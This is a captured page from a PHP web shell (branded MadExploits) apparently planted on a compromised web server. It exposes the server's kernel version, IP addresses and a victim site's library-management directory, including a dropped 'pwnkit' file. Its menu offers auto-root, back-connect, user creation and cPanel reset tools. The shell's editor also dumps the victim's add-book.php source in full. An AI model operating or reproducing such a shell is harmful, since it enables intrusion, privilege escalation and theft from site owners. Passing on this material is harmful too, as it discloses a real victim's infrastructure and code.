Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.227.140.134
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
wwwroot /
jdcpatala.org /
payroll /
libs /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
Barcode Generator
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
datatable
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
add-almirah.php
4.21
KB
-rw-r--r--
add-author.php
4.19
KB
-rw-r--r--
add-book.php
27.85
KB
-rw-r--r--
add-category.php
2.53
KB
-rw-r--r--
add-class.php
4.03
KB
-rw-r--r--
add-currency.php
4.25
KB
-rw-r--r--
add-department.php
4.27
KB
-rw-r--r--
add-language.php
4.25
KB
-rw-r--r--
add-material.php
4.25
KB
-rw-r--r--
add-member-type.php
4.16
KB
-rw-r--r--
add-member.php
21.16
KB
-rw-r--r--
add-publication.php
4.39
KB
-rw-r--r--
add-session.php
4.63
KB
-rw-r--r--
add-shelf.php
4.17
KB
-rw-r--r--
add-source.php
4.21
KB
-rw-r--r--
add-status.php
4.19
KB
-rw-r--r--
add-subject.php
4.09
KB
-rw-r--r--
add-user.php
7.87
KB
-rw-r--r--
add-year.php
3.99
KB
-rw-r--r--
addBookRecord.php
2.25
KB
-rw-r--r--
book-report.php
13.17
KB
-rw-r--r--
change-password.php
3.95
KB
-rw-r--r--
checkMasterValue.php
984
B
-rw-r--r--
dashboard.php
7.4
KB
-rw-r--r--
edit-author.php
2.22
KB
-rw-r--r--
edit-book.php
3.05
KB
-rw-r--r--
edit-category.php
2.81
KB
-rw-r--r--
getBarcode.php
176
B
-rw-r--r--
getBookDetails.php
2.23
KB
-rw-r--r--
getBookRecord.php
3.34
KB
-rw-r--r--
getMemberDetails.php
4.03
KB
-rw-r--r--
get_book.php
826
B
-rw-r--r--
get_student.php
946
B
-rw-r--r--
index.php
2.08
KB
-rw-r--r--
issue-book.php
15.69
KB
-rw-r--r--
issue-report.php
10.43
KB
-rw-r--r--
issued-books-record.php
10.23
KB
-rw-r--r--
logout.php
498
B
-rw-r--r--
manage-almirah.php
5.22
KB
-rw-r--r--
manage-author.php
5.21
KB
-rw-r--r--
manage-books.php
9.87
KB
-rw-r--r--
manage-categories.php
6.69
KB
-rw-r--r--
manage-class.php
5.09
KB
-rw-r--r--
manage-currency.php
5.25
KB
-rw-r--r--
manage-department.php
5.25
KB
-rw-r--r--
manage-issued-books.php
6.43
KB
-rw-r--r--
manage-language.php
5.25
KB
-rw-r--r--
manage-material.php
5.25
KB
-rw-r--r--
manage-member-type.php
5.16
KB
-rw-r--r--
manage-publication.php
5.29
KB
-rw-r--r--
manage-session.php
5.26
KB
-rw-r--r--
manage-shelf.php
5.2
KB
-rw-r--r--
manage-source.php
5.23
KB
-rw-r--r--
manage-status.php
5.21
KB
-rw-r--r--
manage-subject.php
5.24
KB
-rw-r--r--
manage-year.php
5.06
KB
-rw-r--r--
member-report.php
11.48
KB
-rw-r--r--
member-summary.php
9.42
KB
-rw-r--r--
opac.php
17.53
KB
-rw-r--r--
pwnkit
10.99
KB
-rw-r--r--
reg-students.php
4.6
KB
-rw-r--r--
return-book.php
17.45
KB
-rw-r--r--
return-books-record.php
10.44
KB
-rw-r--r--
returnBook.php
382
B
-rw-r--r--
update-issue-bookdeails.php
5.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : add-book.php
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <meta name="description" content="" /> <meta name="author" content="" /> <title>Online Library Management System</title> <!-- BOOTSTRAP CORE STYLE --> <link href="assets/css/bootstrap.css" rel="stylesheet" /> <!-- FONT AWESOME STYLE --> <link href="assets/css/font-awesome.css" rel="stylesheet" /> <!-- CUSTOM STYLE --> <link href="assets/css/style.css" rel="stylesheet" /> <!-- GOOGLE FONT --> <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css' /> <style> .form-group { margin-bottom: 2px !important; } .form-control{ height:30px; } @media (min-width: 1200px) .container { width: 1350px !important; } </style> </head> <body> <!------MENU SECTION START--> <?php include('includes/header.php'); $edit = false; $val = $db->real_escape($_GET['val']); $maxAcc = $db->fetch_array($db->query("SELECT MAX(CAST(acc_no as UNSIGNED)) as acc_no FROM book_record")); $acc_no = $maxAcc['acc_no']; if(!empty($val) && $val == "edit"){ $id = $db->real_escape($_GET['id']); $record = $db->fetch_array($db->query("SELECT * FROM book_record WHERE record_id = '$id'")); $acc_no = $record['acc_no']; $edit = true; } if(isset($_POST['save']) || isset($_POST['update'])){ $acc_no = $db->real_escape($_POST['acc_no']); if($db->num_rows($db->query("SELECT acc_no FROM book_record WHERE acc_no = '$acc_no'"))>0){ $maxAcc = $db->fetch_array($db->query("SELECT MAX(CAST(acc_no as UNSIGNED)) as acc_no FROM book_record")); $acc_no = $maxAcc['acc_no']; } $copies = $db->real_escape($_POST['copies']); $date_of_entry = date("Y-m-d H:i:s",strtotime($db->real_escape($_POST['date_of_entry']))); $book_title = $db->real_escape($_POST['book_title']); $rem_of_title = $db->real_escape($_POST['rem_of_title']); $pages = $db->real_escape($_POST['pages']); $year = $db->real_escape($_POST['year']); $publication_id = $db->real_escape($_POST['publication']); $subject = $db->real_escape($_POST['subject']); $grecord = $db->fetch_array($db->query("SELECT subject_id FROM subject WHERE subject = '$subject'")); $subject_id = $grecord['subject_id']; $bill_no = $db->real_escape($_POST['bill_no']); $currency = $db->real_escape($_POST['currency']); $grecord = $db->fetch_array($db->query("SELECT currency_id FROM currency WHERE currency = '$currency'")); $currency_id = $grecord['currency_id']; $source_id = $db->real_escape($_POST['source']); $language_id = $db->real_escape($_POST['language']); $bill_date = date("Y-m-d",strtotime($db->real_escape($_POST['bill_date']))); $price = $db->real_escape($_POST['price']); $author_id = $db->real_escape($_POST['author']); $material_id = $db->real_escape($_POST['material']); $call_no = $db->real_escape($_POST['call_no']); $co_author = $db->real_escape($_POST['co_author']); $edition = $db->real_escape($_POST['edition']); $book_no = $db->real_escape($_POST['book_no']); $volume = $db->real_escape($_POST['volume']); $issbn_no = $db->real_escape($_POST['issbn_no']); $issn = $db->real_escape($_POST['issn']); $department = $db->real_escape($_POST['department']); $grecord = $db->fetch_array($db->query("SELECT department_id FROM department WHERE department = '$department'")); $department_id = $grecord['department_id']; $status = $db->real_escape($_POST['status']); $grecord = $db->fetch_array($db->query("SELECT status_id FROM status WHERE status = '$status'")); $status_id = $grecord['status_id']; $almirah_id = $db->real_escape($_POST['almirah_no']); $shelf_id = $db->real_escape($_POST['shelf_no']);; if(isset($_POST['save'])){ $k = 0; for($i = 1;$i <= $copies ; $i++){ $query = "INSERT INTO book_record SET acc_no = '$acc_no', copies = '$copies', date_of_entry = '$date_of_entry', book_title = '$book_title', rem_of_title = '$rem_of_title', pages = '$pages', year = '$year', publication = '$publication_id', subject = '$subject_id', bill_no = '$bill_no', currency = '$currency_id', source = '$source_id', language = '$language_id', bill_date = '$bill_date', price = '$price', author = '$author_id', material = '$material_id', call_no = '$call_no', co_author = '$co_author', edition = '$edition', book_no = '$book_no', volume = '$volume', issbn_no = '$issbn_no', issn = '$issn', department = '$department_id', status = '$status_id', almirah_no = '$almirah_id', shelf_no = '$shelf_id', update_date = NULL"; if($db->query($query)){ ++$k; $msg = $k." record successfully Inserted"; } $acc_no++; } if($k == 0){ $error = "Error"; } }elseif(isset($_POST['update'])){ $record_id = $db->real_escape($_POST['record_id']); $query = "UPDATE book_record SET acc_no = '$acc_no', copies = '$copies', date_of_entry = '$date_of_entry', book_title = '$book_title', rem_of_title = '$rem_of_title', pages = '$pages', year = '$year', publication = '$publication_id', subject = '$subject_id', bill_no = '$bill_no', currency = '$currency_id', source = '$source_id', language = '$language_id', bill_date = '$bill_date', price = '$price', author = '$author_id', material = '$material_id', call_no = '$call_no', co_author = '$co_author', edition = '$edition', book_no = '$book_no', volume = '$volume', issbn_no = '$issbn_no', issn = '$issn', department = '$department_id', status = '$status_id', almirah_no = '$almirah_id', shelf_no = '$shelf_id', update_date = NOW() WHERE record_id = '$record_id'"; if($db->query($query)){ $msg = "Record Updated Successfully"; }else{ $error = "Error"; } } } /* $sampleBookRecord = $db->query("SELECT * FROM sample_book_record ORDER BY record_id ASC"); while($sampleBookResult = $db->fetch_array($sampleBookRecord)){ $Oldsubject = $db->fetch_array($db->query("SELECT subject_id FROM subject WHERE subject = '".$sampleBookResult['subject']."'")); $Oldlanguage = $db->fetch_array($db->query("SELECT language_id FROM language WHERE language = '".$sampleBookResult['language']."'")); $Oldcurrency = $db->fetch_array($db->query("SELECT currency_id FROM currency WHERE currency = '".$sampleBookResult['currency']."'")); $Oldstatus = $db->fetch_array($db->query("SELECT status_id FROM status WHERE status = '".$sampleBookResult['status']."'")); $dateEntry = $sampleBookResult['date_of_entry']=="0000-00-00"?NULL:$sampleBookResult['date_of_entry']; $db->query("INSERT INTO book_record SET acc_no = '".$sampleBookResult['acc_no']."', copies = '".$sampleBookResult['copies']."', date_of_entry = '$dateEntry', book_title = '".$sampleBookResult['book_title']."', rem_of_title = '', pages = '".$sampleBookResult['pages']."', year = '".$sampleBookResult['year']."', publication = '".$sampleBookResult['publication']."', subject = '".$Oldsubject['subject_id']."', bill_no = '".$sampleBookResult['bill_no']."', currency = '".$Oldcurrency['currency_id']."', source = '".$sampleBookResult['source']."', language = '".$Oldlanguage['language_id']."', bill_date = '".$sampleBookResult['bill_date']."', price = '".$sampleBookResult['price']."', author = '".$sampleBookResult['author']."', material = '', call_no = '".$sampleBookResult['call_no']."', co_author = '".$sampleBookResult['co_author']."', edition = '".$sampleBookResult['edition']."', book_no = '', volume = '".$sampleBookResult['volume']."', issbn_no = '".$sampleBookResult['isbn']."', issn = '', department = '', status = '".$Oldstatus['status_id']."', almirah_no = '".$sampleBookResult['almirah']."', shelf_no = '".$sampleBookResult['shelf']."', update_date = '".$sampleBookResult['edit_date']."', price_submitted = '".$sampleBookResult['price_submitted']."', price_submitted_date = '".$sampleBookResult['price_submitted_date']."', price_submitted_amount = '".$sampleBookResult['price_submitted_amount']."'"); } */ ?> <!-- MENU SECTION END--> <div class="content-wra"> <div class="content-wrapper"> <div class="container"> <div class="row pad-botm"> <?php if(!empty($msg)){?> <div class="col-md-12"> <div class="alert alert-success" > <strong>Success :</strong> <?php echo htmlentities($msg);?> </div> </div> <?php }elseif(!empty($error)){?> <div class="col-md-12"> <div class="alert alert-danger" > <strong>Error :</strong> <?php echo htmlentities($error);?> </div> </div> <?php }?> </div> <div class="row"> <div class="col-md-12 col-sm-12 col-xs-12"> <div class="panel panel-info"> <div class="panel-heading"> Add Book </div> <div class="panel-body"> <form role="form" id="book_record" method="post"> <fieldset> <legend style="font-weight:bold;font-size:20px">AccInfo</legend> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Acc. No.<span style="color:red;">*</span></label> <div style="display:flex;"> <input class="form-control" type="text" name="acc_no" id="acc_no" value="<?php echo $acc_no;?>" oninput="getBarcode()" autocomplete="off" required /> <button type="button" name="show" id="show" class="btn btn-info">Show</button> <p class="help-block"></p> </div> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>No. of Copies<span style="color:red;">*</span></label> <input class="form-control" type="text" name="copies" id="copies" <?php if($edit){echo "readonly";}?> value="<?php echo $record['copies']?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Total Record<span style="color:red;">*</span></label> <label class="form-control" id="totalRecord"><?php echo $db->num_rows($db->query("SELECT * FROM book_record"));?></label> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label style="height:70px;"><img alt='Barcode' src='Barcode Generator/barcode.php?codetype=Code39&size=80&text=<?php echo $acc_no;?>&print=true&orientation=horizontal' id='barcode'/></label> </div> <div class="clearfix"></div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Date of Entry<span style="color:red;">*</span></label> <input class="form-control" type="text" name="date_of_entry" readonly id="date_of_entry" <?php if($edit){echo "readonly";}?> value="<?php if($edit){echo date("d-m-Y H:i:s",strtotime($record['date_of_entry']));}else{echo date("d-m-Y H:i:s");}?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Record Id<span style="color:red;">*</span></label> <input class="form-control" type="text" name="record_id" id="record_id" readonly value="<?php echo $record['record_id'];?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="clearfix"></div> </fieldset> <fieldset> <legend style="font-weight:bold;font-size:20px">Book Information</legend> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Book Title<span style="color:red;">*</span></label> <input class="form-control" type="text" name="book_title" id="book_title" value="<?php echo $record['book_title'];?>" autocomplete="off" required /> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Rem. of Title<span style="color:red;">*</span></label> <input class="form-control" type="text" name="rem_of_title" id="rem_of_title" value="<?php echo $record['rem_of_title'];?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Pages<span style="color:red;">*</span></label> <input class="form-control" type="text" name="pages" id="pages" value="<?php echo $record['pages'];?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Year<span style="color:red;">*</span></label> <input class="form-control" type="text" name="year" id="year" value="<?php echo $record['year'];?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="clearfix"></div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Publication<span style="color:red;">*</span></label> <input type="text" class="form-control" name="publication" id="publication" value="<?php echo $record['publication']?>" list="publication_list"> <datalist id="publication_list"> <?php $srecord = $db->query("SELECT DISTINCT publication FROM book_record ORDER BY publication"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['publication']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Subject<span style="color:red;">*</span></label> <?php if($edit){ $mrecord = $db->fetch_array($db->query("SELECT subject FROM subject WHERE subject_id = '".$record['subject']."'")); }?> <input type="text" class="form-control" name="subject" id="subject" value="<?php echo $mrecord['subject']?>" list="subject_list" onkeyup="checkMasterValue(this,'subject')" required="required"> <datalist id="subject_list"> <?php $srecord = $db->query("SELECT * FROM subject ORDER BY subject"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['subject']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Bill No.<span style="color:red;">*</span></label> <input class="form-control" type="text" name="bill_no" id="bill_no" value="<?php echo $record['bill_no'];?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Currency<span style="color:red;">*</span></label> <?php if($edit){ $mrecord = $db->fetch_array($db->query("SELECT currency FROM currency WHERE currency_id = '".$record['currency']."'")); }?> <input type="text" class="form-control" name="currency" id="currency" value="<?php echo $mrecord['currency']?>" list="currency_list" onkeyup="checkMasterValue(this,'currency')" required="required"> <datalist id="currency_list"> <?php $srecord = $db->query("SELECT * FROM currency ORDER BY currency"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['currency']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="clearfix"></div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Source<span style="color:red;">*</span></label> <input type="text" class="form-control" name="source" id="source" value="<?php echo $record['source']?>" list="source_list"> <datalist id="source_list"> <?php $srecord = $db->query("SELECT DISTINCT source FROM book_record ORDER BY source"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['source']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Language<span style="color:red;">*</span></label> <?php if($edit){ $mrecord = $db->fetch_array($db->query("SELECT language FROM language WHERE language_id = '".$record['language']."'")); }?> <input type="text" class="form-control" name="language" id="language" value="<?php echo $mrecord['language']?>" list="language_list"> <datalist id="language_list"> <?php $srecord = $db->query("SELECT * FROM language ORDER BY language"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['language']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Bill Date<span style="color:red;">*</span></label> <input class="form-control" type="text" name="bill_date" id="bill_date" value="<?php if($edit && !empty($record['bill_date']) && $record['bill_date'] != "0000-00-00"){echo date("d-m-Y",strtotime($record['bill_date']));}?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Price Rs.<span style="color:red;">*</span></label> <input class="form-control" type="text" name="price" id="price" value="<?php echo $record['price'];?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="clearfix"></div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Author<span style="color:red;">*</span></label> <input type="text" class="form-control" name="author" id="author" value="<?php echo $record['author']?>" list="author_list"> <datalist id="author_list"> <?php $srecord = $db->query("SELECT DISTINCT author FROM book_record ORDER BY author"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['author']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Material<span style="color:red;">*</span></label> <input type="text" class="form-control" name="material" id="material" value="<?php echo $record['material']?>" list="material_list"> <datalist id="material_list"> <?php $srecord = $db->query("SELECT DISTINCT material FROM book_record ORDER BY material"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['material']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>call No.<span style="color:red;">*</span></label> <input class="form-control" type="text" name="call_no" id="call_no" value="<?php echo $record['call_no'];?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="clearfix"></div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Co-Author<span style="color:red;">*</span></label> <input type="text" class="form-control" name="co_author" id="co_author" value="<?php echo $record['co_author'];?>"> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Edition<span style="color:red;">*</span></label> <input type="text" class="form-control" name="edition" id="edition" value="<?php echo $record['edition'];?>"> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Book No.<span style="color:red;">*</span></label> <input class="form-control" type="text" name="book_no" id="book_no" value="<?php echo $record['book_no'];?>" autocomplete="off" /> <p class="help-block"></p> </div> <div class="clearfix"></div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>Volume<span style="color:red;">*</span></label> <input type="text" class="form-control" name="volume" id="volume" value="<?php echo $record['volume'];?>"> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label>ISSBN No.<span style="color:red;">*</span></label> <input class="form-control" type="text" name="issbn_no" id="issbn_no" autocomplete="off" value="<?php echo $record['issbn_no'];?>" /> <p class="help-block"></p> </div> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> ISSN<span style="color:red;">*</span></label> <input type="text" class="form-control" name="issn" id="issn" value="<?php echo $record['issn'];?>"> <p class="help-block"></p> </div> <div class="clearfix"></div> </fieldset> <fieldset> <legend style="font-weight:bold;font-size:20px">Status</legend> <div class="form-group col-md-3 col-sm-6 col-xs-12"> <label> Department<span style="color:red;">*</span></label> <?php if($edit){ $mrecord = $db->fetch_array($db->query("SELECT department FROM department WHERE department_id = '".$record['department']."'")); }?> <input type="text" class="form-control" name="department" id="department" value="<?php echo $mrecord['department']?>" list="department_list" onkeyup="checkMasterValue(this,'department')"> <datalist id="department_list"> <?php $srecord = $db->query("SELECT * FROM department ORDER BY department"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['department']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-2 col-sm-6 col-xs-12"> <label> Status<span style="color:red;">*</span></label> <?php if($edit){ $mrecord = $db->fetch_array($db->query("SELECT status FROM status WHERE status_id = '".$record['status']."'")); }?> <input type="text" class="form-control" name="status" id="status" value="<?php echo $mrecord['status']?>" list="status_list" onkeyup="checkMasterValue(this,'status')"> <datalist id="status_list"> <?php $srecord = $db->query("SELECT * FROM status ORDER BY status"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['status']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-2 col-sm-6 col-xs-12"> <label> Almirah<span style="color:red;">*</span></label> <input type="text" class="form-control" name="almirah_no" id="almirah_no" value="<?php echo $record['almirah']?>" list="almirah_list"> <datalist id="almirah_list"> <?php $srecord = $db->query("SELECT DISTINCT almirah_no FROM book_record ORDER BY almirah_no"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['almirah_no']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="form-group col-md-2 col-sm-6 col-xs-12"> <label> Shelf<span style="color:red;">*</span></label> <input type="text" class="form-control" name="shelf_no" id="shelf_no" value="<?php echo $mrecord['shelf']?>" list="shelf_list"> <datalist id="shelf_list"> <?php $srecord = $db->query("SELECT DISTINCT shelf_no FROM book_record ORDER BY shelf_no"); while($sresult = $db->fetch_array($srecord)){?> <option value="<?php echo $sresult['shelf_no']?>"> <?php }?> </datalist> <p class="help-block"></p> </div> <div class="clearfix"></div> </fieldset> <fieldset> <legend style="font-weight:bold;font-size:20px">Controller</legend> <div class="col-md-12 col-sm-12 col-xs-12"> <div class="form-group col-md-2 col-sm-6 col-xs-12"> <button type="submit" name="addNew" id="addNew" class="btn btn-info">Add New </button> </div> <div class="form-group col-md-1 col-sm-6 col-xs-12"> <button type="submit" name="save" id="save" class="btn btn-success" <?php if($edit){echo "disabled";}?>>Save </button> </div> <div class="form-group col-md-1 col-sm-6 col-xs-12"> <button type="submit" name="update" id="update" class="btn btn-primary" <?php if(!$edit){echo "disabled";}?>>Update</button> </div> </div> </fieldset> </form> </div> </div> </div> </div> </div> </div> <!-- CONTENT-WRAPPER SECTION END--> <?php include('includes/footer.php');?> <!-- FOOTER SECTION END--> <!-- JAVASCRIPT FILES PLACED AT THE BOTTOM TO REDUCE THE LOADING TIME --> <!-- CORE JQUERY --> <script src="assets/js/jquery.js"></script> <!-- BOOTSTRAP SCRIPTS --> <script src="assets/js/bootstrap.js"></script> <!-- CUSTOM SCRIPTS --> <script src="assets/js/custom.js"></script> <script> function getBarcode(){ var acc_no = $("#acc_no").val(); if($("#acc_no").val() == ""){ return false; } $.ajax({ type:"POST", url:"getBarcode.php", data:{text:acc_no}, dataType:"html", success:function(res){ $("#barcode").attr("src",""); $('#barcode').attr("src",res); } }); } function checkMasterValue(elem,table){ var name = $(elem).val(); var msg = $(elem).next().attr("class","help-block"); $.ajax({ type:"POST", url:"checkMasterValue.php", data:{name:name,val:table}, dataType:"json", success:function(res){ msg.text(res['msg']); $(elem).append(res['data']); } }); } </script> <script> $(function(){ $("#show").click(function(){ var acc_no = $("#acc_no").val(); if($("#acc_no").val() == ""){ return false; } $.ajax({ type:"POST", url:"getBookDetails.php", data:{acc_no:acc_no}, dataType:"JSON", success:function(res){ $('#copies').val(res['copies']); $('#totalRecord').text(res['totalRecord']); $('#date_of_entry').val(res['date_of_entry']); $('#record_id').val(res['record_id']); $('#book_title').val(res['book_title']); $('#rem_of_title').val(res['rem_of_title']); $('#pages').val(res['pages']); $('#year').val(res['year']); $('#publication').val(res['publication']); $('#subject').val(res['subject']); $('#bill_no').val(res['bill_no']); $('#currency').val(res['currency']); $('#source').val(res['source']); $('#language').val(res['language']); $('#bill_date').val(res['bill_date']); $('#price').val(res['price']); $('#author').val(res['author']); $('#material').val(res['material']); $('#call_no').val(res['call_no']); $('#co_author').val(res['co_author']); $('#edition').val(res['edition']); $('#book_no').val(res['book_no']); $('#volume').val(res['volume']); $('#issbn_no').val(res['issbn_no']); $('#issn').val(res['issn']); $('#department').val(res['department']); $('#status').val(res['status']); $('#almirah_no').val(res['almirah_no']); $('#shelf_no').val(res['shelf_no']); $('#entry_by').val(res['entry_by']); $("#barcode").attr("src",""); $('#barcode').attr("src",res['barcode']); $("#save").prop("disabled",true); $("#update").prop("disabled",false); } }); }); $("#subject").next().attr("class","help-block").text(""); $("#currency").next().attr("class","help-block").text(""); $("#department").next().attr("class","help-block").text(""); $("#status").next().attr("class","help-block").text(""); $("#language").next().attr("class","help-block").text(""); $("#book_record").submit(function(event){ if($("#subject").next().attr("class","help-block").text().length != 0){ event.preventDefault();alert("Invalid Value for subject"); }else if($("#currency").next().attr("class","help-block").text().length != 0){ event.preventDefault();alert("Invalid Value for currency"); }else if($("#department").next().attr("class","help-block").text().length != 0){ event.preventDefault();alert("Invalid Value for department"); }else if($("#status").next().attr("class","help-block").text().length != 0){ event.preventDefault();alert("Invalid Value for status"); }else if($("#language").next().attr("class","help-block").text().length != 0){ event.preventDefault();alert("Invalid Value for language"); } }); $(document).keydown(function(e) { if ((e.keyCode == 82 || e.keyCode ==116) && e.ctrlKey) { window.location.href="add-book.php"; } }); }); </script> </body> </html>
Close